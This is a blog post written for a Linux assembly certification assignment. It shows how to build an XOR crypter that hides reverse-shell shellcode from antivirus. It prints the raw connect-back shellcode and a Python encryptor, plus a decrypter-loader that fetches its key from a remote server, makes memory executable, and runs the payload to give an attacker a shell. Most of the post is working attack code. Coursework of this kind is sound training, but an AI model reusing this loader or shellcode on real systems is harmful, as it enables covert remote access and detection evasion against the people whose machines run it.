SLAE: Custom Shellcode Crypter

Intro

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-924

  • Create a custom crypter like the one shown in the “crypters” video
  • Free to use any existing encryption schema
  • Can use any programming language

What is crypter?

Crypter can help us to encrypt our malicious payload. Encrypted payload will not be detected by signature-based AVs or IDS systems. The shellcode will be decrypted right before the execution. In this example I will use simple XOR crypter written in python.

Let’s create crypter

As a shellcode we will use connect-back shellcode which was written in the Assignment #2.

That’s it:

"\x6a\x66\x58\x31\xd2\x31\xdb\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\x6a\x66\x58\x68\x5b\x8e\x5e\x46\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x87\xda\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x31\xd2\x31\xc9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

Firstly we will write script for encryption. Our script will download encryption/decryption key from the remote server. After that the key will be XORed with our shellcode. And finally this script prints out encrypted shellcode.

import requests

original_shellcode =("\x6a\x66\x58\x31\xd2\x31\xdb\x43\x52\x53\x6a\x02\x89\xe1"   # shellcode opens reverse connection to
"\xcd\x80\x92\x6a\x66\x58\x68\x5b\x8e\x5e\x46\x66\x68\x11\x5c\x43\x66"    # the server with IP address 91.142.94.170
"\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x87\xda\xb0\x3f\x31"
"\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x31\xd2"
"\x31\xc9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89"
"\xe2\x53\x89\xe1\xcd\x80")
encrypted_shellcode = ""

shellcode_length = len(original_shellcode)
print shellcode_length

r = requests.get("http://91.142.94.70/3onai7qvht7tgt9O2gr0cuf16dqxTtft5trapa7p.html")
key = str(r.text)     #now we have our key (1000 bytes long)

for i in range(0,shellcode_length):
    y = ord(original_shellcode[i]) ^ ord(key[i])   #y is a result of xoring bytes of shellcode and key
    encrypted_shellcode += '\\x%02x' %y

print encrypted_shellcode     #let's print encrypted shellcode

That’s how it works:

Sample image

Now what about script which will decrypt shellcode and execute it?

import requests
from ctypes import CDLL, c_char_p, c_void_p, memmove, cast, CFUNCTYPE
libc = CDLL('libc.so.6')


encrypted_shellcode = ("\x08\x09\x37\x09\xb3\x04\xbc\x74\x31\x25\x0e\x3a\xbe\xd7"
"\xab\xfa\xab\x1a\x1f\x3f\x06\x35\xbd\x67\x74\x04\x1f\x68\x6e\x70\x09\x6b\xed"
"\x80\x5c\x69\x68\x3f\xf9\x8f\x25\xbd\xb0\xe2\xb8\x87\x55\x02\xf9\xa1\xb2\x85"
"\x46\x71\xbd\xfa\xdc\x46\x2b\xa0\xe5\x80\x7f\x04\xa2\x08\xf1\x3a\x1a\x1f\x49"
"\x11\x00\x07\x40\x11\x5b\x5c\xb9\x8c\x27\xe1\x98\x2a\xec\x89\xfd\xef")
recovered_shellcode = ""

shellcode_length = len(encrypted_shellcode)
r = requests.get("http://91.142.94.70/3onai7qvht7tgt9O2gr0cuf16dqxTtft5trapa7p.html")
key = str(r.text)

for i in range(0,shellcode_length):
    y = ord(encrypted_shellcode[i]) ^ ord(key[i])
    recovered_shellcode += '%02x' %y

shellcode = recovered_shellcode.decode('hex')

sc = c_char_p(shellcode)
size = len(shellcode)
addr = c_void_p(libc.valloc(size))
memmove(addr, sc, size)
libc.mprotect(addr, size, 0x7)
run = cast(addr, CFUNCTYPE(c_void_p))
run()

Let’s try to run it on our linux system.

Sample image

The shellcode successfully decrypted and executed on our system and now we have reverse shell on attacker’s machine.

I’ve also uploaded decrypter script to the virustotal and that’s the result:

Sample image